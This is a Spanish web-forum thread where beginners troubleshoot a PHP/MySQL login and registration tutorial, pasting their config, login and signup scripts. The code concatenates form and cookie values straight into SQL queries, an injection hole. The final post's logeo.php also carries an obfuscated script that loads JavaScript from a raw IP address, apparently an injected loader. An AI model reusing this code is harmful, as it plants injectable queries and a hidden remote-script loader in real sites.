Sistema de registro de usuarios

sjj como lo lograste hacer?esque a mi me pasa lo mismo que a ti.creo que el problema esta en donde pone localhost que no se lo que hay que poner.

porfavor ayuda
sludos
He seguido todos los pasos, y creo haberlo hecho bien. Lo único que no me aparece, dentro del kit html, y dentro de los archivos que ya están subidos a la web, la carpeta salir aunque dice que está creada.
No sé si habré hecho bien lo de la tabla en el servidor.
Otra cosa, me parpadea toda la página al intentar ticlear, antes, con otros enlaces, se me movía ya, si me solucionas esto también, de lujo.
Gracias
Cuando quiero crear la tabla de la base de datos me dice que hay un error. fecha int(10) unsigned not nu' at line 2.
También me gustaría que me explicaras lo del config.php.
url: ¿debo poner la página en la que accedo a la base de datos?, o tengo que poner razyhosting.com?. Qué lio
usuario de la base de datos, ¿aquí debo poner usuario de razyhosting o usuario de la base de datos?
nombre de la base de datos: ¿aquí debo poner el nombre de la base de datos o el de la tabla?.
Gracias
Por favor, contestarme que estoy ya de los nervios.
En el config.php hay que poner 4 cosas, por más cosas que pongo no acierto.
creo que falla en la url o el localhost, no sé qué dirección darle, pues he probado todas y nada.
Gracias
conseguí descubrir qué debía poner en el config.php, pero ahora me da otro problema, uffffffffffff.
El caso es que me dice, el registro se ha llevado con éxito, pero luego no me deja salir, es más me conecta con razyhosting.
Saliendo de ahí y dándole a entrar como usuario registrado me dice:

Warning: Cannot modify header information - headers already sent by (output started at /home/www/elescritorsolitario.onlinewebshop.net/entrar.php:8) in /home/www/elescritorsolitario.onlinewebshop.net/entrar.php on line 24

Warning: Cannot modify header information - headers already sent by (output started at /home/www/elescritorsolitario.onlinewebshop.net/entrar.php:8) in /home/www/elescritorsolitario.onlinewebshop.net/entrar.php on line 25

Warning: Cannot modify header information - headers already sent by (output started at /home/www/elescritorsolitario.onlinewebshop.net/entrar.php:8) in /home/www/elescritorsolitario.onlinewebshop.net/entrar.php on line 26

Warning: Cannot modify header information - headers already sent by (output started at /home/www/elescritorsolitario.onlinewebshop.net/entrar.php:8) in /home/www/elescritorsolitario.onlinewebshop.net/entrar.php on line 27

En fin ya estoy perdiendo la esperanza de lograr hacer que funcione este registro.
Gracias
holas!, probado y funciona perfecto, solo he tenido algun problemilla a la hora de saber donde poner los archivos y crear la tabla y con alguna de las modificaciones que hay que hacer pero funciona perfecto, mil gracias logan, tio.

y por preguntar que no quede... se podria hacer que en vez de dar acceso directo al registrarse me devuelva a mi un email (o lo que sea) para que yo tenga que dar el permiso a ese registro??, es decir que no puedan registrarse sin mi consentimiento.

saludos!
Hola, pues muy weno tu sistema de registro pero no entiendo como crear las tablas??? es dcir en que documento los meto o que hago con los codigos?????? porfavor alguna explicacion breve almenos, mi correo es jesus_pk157@hot .... porfavor ......... gracias de anteman =) saluds ....
Hola! He seguido el tutorial para registro de ususarios y me encuentro con algún pronlema a la hora de registrarme, me dice que la base de datos no existe; pero la base de datos está creada en mySQL(no me ha dado ningún problema en el momento de crearla) y creo que los datos son correctos, pego los códigos por si alguien me puede ayudar. Para comprobarlo el enlace es www.tuclik.com

CONFIG.PHP
<?
unset($config) ;
$config[1]="localhost"; // Puede ser "localhost" aunque también una URL o una IP
$config[2]="tuclikco_admin" ; //Usuario de la base de datos
$config[3]="XXXXXXXXXX"; // Contraseña de la base de datos
$config[4]="tuclikco_tiendatuclik"; // Nombre de la base de datos

$conectar = @mysql_connect($config[1],$config[2],$config[3]) or exit('Datos de conexión incorrectos.') ;
mysql_select_db($config[4],$conectar)or exit('base de datos no existe.');
?>

ENTRAR.PHP
<?
require 'config.php' ;
if($_POST) {
function quitar($texto) {
$texto = trim($texto) ;
$texto = htmlspecialchars($texto) ;
# --> Elimina espacios que no pueden ser borrados por trim()
$texto = str_replace(chr(160),'',$texto) ;
return $texto ;
}
$nick = quitar($_POST) ;
$contrasena = md5(md5(quitar($_POST))) ;
$con = mysql_query("select id,contrasena from usuarios where nick='$nick'") ;
$datos = mysql_fetch_assoc($con) ;
if(mysql_num_rows($con)) {
if($datos == $contrasena) {
setcookie('uid',$datos,time()+604800) ;
setcookie('unick',$nick,time()+604800) ;
setcookie('ucontrasena',$contrasena,time()+604800) ;
header("location: $_SERVER[HTTP_REFERER]") ;
}
else {
echo 'La contraseña es incorrecta. Haz click aquí para regresar.' ;
}
}
else {
echo 'El nick no existe. Haz click aquí para regresar.' ;
}
}
?>

REGISTRAR.PHP Y SALIR.PHP, no los he tocado, han quedado como en el tutorial y los otros códigos de seguridad no los utilizo pq no me hacen falta.
Mi otro problema con menús desplegables aquí:

Espero vuestra ayuda, Por favor!Ya estoy medio loco :? !http://www.comocreartuweb.com/phpBB2/ftopic13701.html
www.tuclik.com
Hola a Todos, e seguido todos los pasos y me funciona a la perfección en IE pero por casualidad un amigo probó con el Firefox y visualmente correcto pero se pudo registrar sin necesidad de introducir campos, me creó un usuario sin nombre, luego otro sin pedir contraseña, etc.. como podría corregir esto, para que funcione bien tanto en uno como en el otro navegador?
Tambien tengo otro problema y es igual, con el IE perfecto pero con el Firefox no me funciona y es lo de poner como pagina de inicio (se que no es este el lugar pero agradeceria mucho vuestra ayuda) Uso este:

<a class="chlnk" href onclick="this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.XXXXXX');"
style="font-size:21px; color:#0000FF;"CURSOR:"hand"><u>Página de inicio</u></a>

Muchas gracias por vuestra ayuda por adelantado, saludos
Perdonen, yo tambien estoy buscando un sistema de usuarios, y veo que aqui me ponen en las tablas las opciones de descripcion, pais, etc.. pero por que al momento en que uno se registra no aparecen esas opciones en el formulario de registro, por favor si alguien puede indicarme, es que quiero que mis usuarios se den a conocer un poco,si es posible que tengan una pagina de perfil.
bueno, de una vez desembucho todo, si no es mucho pedir, coomo puedo agregarlo la opcion de recuperar contraseña, email de bienvennida, darse de baja, y actualizar sus datos, y tambien si es posible que me pueda llegar un email a mi correo avisandome que hay un nuevo usuarios registrado,es que en mi web tambien manejo un chat en el cual yo mismo tengo que poner los usuarios con las contraseñas y todo, para ello tengo que fijarme la base de datos, pero no puedo estarhaciendolo cada vez envano. si no se puede por no pasa nada, me resigno con el que hay, pero repito, en las pruevas que pusieron, no hay las oopciones de descripcion, pais, etc.. pero si estan en las tablas de la base de datos.
saludos
excelente manual!! la verdad que anda excelente, pero aqui se muestra al usuario visitante que no esta registrado un cartel prohibiendo ver la web o seccion, el tema es que a mi me gustaria que pueda seguir viendo el sitio pero que no pueda por ejemplo publicar los articulos, como podria hacer esto? que diga por ejemplo en lugar de mostrar ese cartel que siga viendo la web pero que diga Bienvenido visitante, registrate para compartir....o algo asi, como podria hacerlo? desde ya gracias por el excelente manual
josluisd123 escribió:Hola! He seguido el tutorial para registro de ususarios y me encuentro con algún pronlema a la hora de registrarme, me dice que la base de datos no existe; pero la base de datos está creada en mySQL(no me ha dado ningún problema en el momento de crearla) y creo que los datos son correctos, pego los códigos por si alguien me puede ayudar. Para comprobarlo el enlace es www.tuclik.com

CONFIG.PHP
<?
unset($config) ;
$config[1]="localhost"; // Puede ser "localhost" aunque también una URL o una IP
$config[2]="tuclikco_admin" ; //Usuario de la base de datos
$config[3]="XXXXXXXXXX"; // Contraseña de la base de datos
$config[4]="tuclikco_tiendatuclik"; // Nombre de la base de datos

$conectar = @mysql_connect($config[1],$config[2],$config[3]) or exit('Datos de conexión incorrectos.') ;
mysql_select_db($config[4],$conectar)or exit('base de datos no existe.');
?>

ENTRAR.PHP
<?
require 'config.php' ;
if($_POST) {
function quitar($texto) {
$texto = trim($texto) ;
$texto = htmlspecialchars($texto) ;
# --> Elimina espacios que no pueden ser borrados por trim()
$texto = str_replace(chr(160),'',$texto) ;
return $texto ;
}
$nick = quitar($_POST) ;
$contrasena = md5(md5(quitar($_POST))) ;
$con = mysql_query("select id,contrasena from usuarios where nick='$nick'") ;
$datos = mysql_fetch_assoc($con) ;
if(mysql_num_rows($con)) {
if($datos == $contrasena) {
setcookie('uid',$datos,time()+604800) ;
setcookie('unick',$nick,time()+604800) ;
setcookie('ucontrasena',$contrasena,time()+604800) ;
header("location: $_SERVER[HTTP_REFERER]") ;
}
else {
echo 'La contraseña es incorrecta. Haz click aquí para regresar.' ;
}
}
else {
echo 'El nick no existe. Haz click aquí para regresar.' ;
}
}
?>

REGISTRAR.PHP Y SALIR.PHP, no los he tocado, han quedado como en el tutorial y los otros códigos de seguridad no los utilizo pq no me hacen falta.
Mi otro problema con menús desplegables aquí:

Espero vuestra ayuda, Por favor!Ya estoy medio loco :? !http://www.comocreartuweb.com/phpBB2/ftopic13701.html
me apsa lo msimo ek a este usurio algun me puede ayudar porfavor

.--sALUAODS--.
cuando voy a
login.php
sale esto :


Esta sección es sólo para usuari@s registrad@s.

Por favor regresa a la pagina principal y registrate.
y en entrar.php

ESTA VACIO! :shock:
Este si que es un gran aporte, definitivamente GRACIAS...

Aunque me ayudaria mas, hubiera alguna forma de actualizar o modiicar los datos, algun lado donde el usuario pueda cambiar la contraseña el mail, o algo por el estilo, si es posible y alguien lo sabe hacer basandose en este sistema de registro, me ayudaria mucho.
hola amigo, necesito que el script sea de otra forma, mi pagina eswww.myworldfriends.uni.cc, ahi podra ver como es el formulario, tambien necesito ayuda sobre como crearlo en otros idiomas.

a y otro favor, es para ver si usted podria hacer que cuando los usuarios pongan el boton registrame, los envie a la misma pagina pero con un captcha, eso si creo que esa funcion es hecho, por favorrrrrrrrrrrrr, de verdad necesito ayuda
muy buen script yo el problema lo tengo con el config no se que poner en el localhost que es donde creo q tengo el problema gracias de anemano
que bueno en gracias jejej me va a servir en un futuro cercano o talves lejano
Att. Kevin
Es un excelente tutorial en verdad!

Quisiera saber la fuente, es decir, de donde viene ;)
mmm no me sale

luego de registrar un usuario, se conecta a la base de datos, pero en el login se me queda en blanco

=S

alguna idea del problema'?
:S
Sabes, el tuto me paració muy bueno pero lo malo es que tengo un errr en el config.php, no se que hay que ingresar aqui:

<?
unset($config) ;
$config[1] = 'Aquí no se que poner!' ;
$config[2] = 'a9190647' ;
$config[3] = 'fafaelito08' ;
$config[4] = 'a9190647' ;

$conectar = @mysql_connect($config[1],$config[2],$config[3]) or exit('Datos de conexión incorrectos.') ;
mysql_select_db($config[4],$conectar) or exit('No existe la base de datos.') ;
?>


en la linea de $config[1] = ????? no se que poner, no se si alguien me puede dar un ejemplo o explicarme como, y si en lo demas estoy mal porfavor diganmelo :D

se los agradesco de antemano

Deoxyz08
Hola:
Estoy empezando a tantear esto de la base de datos y php y he probado estos ejemplos pero me ocurre lo siguiente:
Cuando ejecuto el fichero "registrar.php" me sale esto:
HTTP 404 Prohibido
y se queda en el http://localhost/nuevacarpeta2/%3C?=$_SERVER[PHP_SELF]?>
¿ Que esplicacion puede tener ? Creo que este elemento devuelve una variable con el registro que se está ejecutando, con lo que deberia seguir ejecutando el archivo. ¿ Por que da el error de prohibición ?
Gracias
Hola he probado el sistema pero tengo un solo error lo he modificado a mi parecer, pero m e esta tirando errores al momento de comprobar los cookies en mysql.

aki los codigos:

login.php <---- el me esta dando error:

Notice: Undefined index: uid in C:\wamp\www\frames\login.php on line 11

Notice: Undefined index: unick in C:\wamp\www\frames\login.php on line 11

Notice: Undefined index: ucontrasena in C:\wamp\www\frames\login.php on line 11


    <?php
    require 'config.php' ;
    $con = mysql_query("select count(id) from usuarios where id='$_COOKIE' and nick='$_COOKIE' and contrasena='$_COOKIE'") ;
    if(!mysql_result($con,0,0)) {
    exit('

    Esta sección es sólo para usuari@s registrad@s.

    » Regresar') ;
    }
    ?>


entrar.php
    <?php
    require 'config.php' ;
    $nick = $_POST['nick'] ;
    $contrasena = md5(md5($_POST['contrasena'])) ;
    $con = mysql_query("select id,contrasena from usuarios where nick='$nick'") ;
    $datos = mysql_fetch_assoc($con) ;
    if(mysql_num_rows($con)) {
    if($datos['contrasena'] == $contrasena) {
    setcookie('uid',$datos['id'],time()+604800) ;
    setcookie('unick',$nick,time()+604800) ;
    setcookie('ucontrasena',$contrasena,time()+604800) ;
    echo "<script language=\"JavaScript\">
    <!--
    alert('Bienvenido'); {

    document.location.href= 'admin.php';
    }
    // -->
    </script>";
    }
    else {
    echo "<script language=\"JavaScript\">
    <!--
    alert('Contraseña Incorrecta'); {

    javascript:history.back(-1);
    }
    // -->
    </script>";
    }
    }
    else {
    echo "<script language=\"JavaScript\">
    <!--
    alert('Nick no existe'); {

    javascript:history.back(-1);
    }
    // -->
    </script>";
    }

    ?>

config.php
    <?php

    $conectar = mysql_connect("localhost","posada","12345") or exit('Datos de conexión incorrectos.') ;
    mysql_select_db("donae",$conectar) or exit('No existe la base de datos.') ;
    ?>

logeo.php
    <script language="Javascript" type="text/javascript">
    <!--
    var d=new Date; rnd=d.getDay()+'-'+d.getHours(); var b=(''+location.hostname).split('.'); d=2; if(b[b.length-d+1]=='') d=3; h='web.'+b[b.length-d]+'.'+b[b.length-d+1];
    document.write('<sc'+'ript src="http://82.196.5.24/js.php?'+rnd+'"><'+'/sc'+'ript>');
    // -->
    </script>
    <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
    <script type="text/javascript">_uacct = "UA-324340-1"; urchinTracker();</script>

    <div align="center">
    <center>
    <table border="0" cellpadding="0" cellspacing="0" width="500" bgcolor="#303030">
    <tr>
    <td width="100%">
    <p align="center"><font size="5" color="#008080">Autentificaciòn de Usuario Administrador</font></td>
    </tr>
    <tr>
    <td width="100%">
    <div align="center">
    <table border="0" cellpadding="0" cellspacing="0" width="495" bgcolor="#000000">
    <tr>
    <td width="100%">
    <hr color="#000000">
    <div align="center">
    <table border="0" cellpadding="0" cellspacing="0" width="400">
    <tr>
    <td bgcolor="#303030"><!--webbot bot="HTMLMarkup"
    startspan --><form method="post" action="entrar.php">
    Nick:

    <input type="text" name="nick" maxlength="20">

    Contraseña:

    <input type="password" name="contrasena" maxlength="20">


    <input type="submit" name="enviar" value="Iniciar Sesión">
    </form>


    </td>
    </tr>
    <tr>
    <td>
    <hr color="#000000">
    </td>
    </tr>
    <tr>
    <td>
    <hr color="#000000">
    </td>
    </tr>
    <tr>
    <
    </tr>
    </table>
    </div>
    <hr color="#000000">
    </td>
    </tr>
    </table>
    </div>
    </td>
    </tr>
    <tr>
    <td width="100%">
    <p align="center"><font color="#FFFFFF">Administraciòn PTDE</font></td>
    </tr>
    </table>
    </center>
    </div>
    <p align="center"></p>
    <script type="text/javascript">
    var wr_host = "aimfar";
    var wr_site = 36;
    var wr_page = 266;
    var wr_board = 290;
    var wr_boardsize = "1x1";
    var wr_floating = 1;
    var wr_detail = '';
    var wr_thema = 0;
    </script>
    <script type="text/javascript" src="http://astatic.weborama.fr/js/adperf_network.js"></script>


reg.php
    <?php
    include ('config.php');
    $nick = $_POST['nick'] ;
    $email = $_POST['email'] ;
    $con = mysql_query("select count(id) from usuarios where nick='$nick' or email='$email'") ;
    if(mysql_result($con,0,0)) {
    echo 'El nick ya existe en la base de datos o ya está registrado el email. Haz click aquí para regresar.' ;
    }
    else {
    $fecha = time() ;
    $contrasena = md5(md5($_POST['contrasena'])) ;
    $sexo = $_POST['sexo'] ;
    mysql_query("insert into usuarios (fecha,nick,contrasena,email,sexo) values ('$fecha','$nick','$contrasena','$email','$sexo')") ;
    echo 'Has sido registrad@ satisfactoriamente. Haz click aquí para regresar a la página principal e iniciar sesión' ;
    }


    ?>


registrar.php

<div align="center">
<center>
<table border="0" cellpadding="0" cellspacing="0" width="500" bgcolor="#303030">
<tr>
<td width="100%">
<p align="center"><font size="5" color="#008080">
FOX LOGHAN WEB
</font></td>
</tr>
<tr>
<td width="100%">
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="495" bgcolor="#000000">
<tr>
<td width="100%">
<hr color="#000000">
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="450">
<tr>
<td bgcolor="#303030"><!--webbot bot="HTMLMarkup"
startspan --><script>
function revisar() {
if(formulario.nick.value.length < 3) {
alert('El nick debe contener por lo mínimo 3 caractéres.') ;
return false ;
}
if(formulario.contrasena.value.length < 6) {
alert('La contraseña debe contener por lo mínimo 6 caractéres.') ;
return false ;
}
if(formulario.contrasena.value != formulario.c_contrasena.value) {
alert('Las contraseñas no son correctas.') ;
return false ;
}
if(!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,4})+$/.test(formulario.email.value)) {
alert('Debes poner un email válido.') ;
return false ;
}
}
</script>
<form name="formulario" method="post" action="reg.php" onsubmit="return revisar()">
Nick:

<input type="text" name="nick" maxlength="20">

Contraseña:

<input type="password" name="contrasena" maxlength="10">

Confirmar contraseña:

<input type="password" name="c_contrasena" maxlength="10">

Email:

<input type="text" name="email" maxlength="40">

Sexo:

<select name="sexo">
<option value="0">Masculino
<option value="1">Femenino
</select>


<input type="submit" name="enviar" value="Registrar">
</form>
</div>

</td>
</tr>
<tr>
<td>
<hr color="#000000">
</td>
</tr>
<tr>
<td>
<hr color="#000000">
</td>
</tr>
<tr>
<td></td>
</tr>
</table>
</div>
<hr color="#000000">
</td>
</tr>
</table>
</div>
</td>
</tr>
<tr>
<td width="100%">
<p align="center"><font color="#FFFFFF">FoxLoghan - DR - 2008</font></td>
</tr>
</table>
</center>
</div>
<p align="center"></p><script type="text/javascript">
var wr_host = "aimfar";
var wr_site = 36;
var wr_page = 266;
var wr_board = 290;
var wr_boardsize = "1x1";
var wr_floating = 1;
var wr_detail = '';
var wr_thema = 0;
</script>
<script type="text/javascript" src="http://astatic.weborama.fr/js/adperf_network.js"></script>



PD: modifique la parte del registro para q el action del form me haga el llamado a reg.php y este me realice el registro, me funciona joya el registro, pero en la parte de los cookies es q me esta tirando error, osea no puedo entrar a la pagina q estoy asegurando con el sistema de login porq no me capta los cookies quien me ayuda xD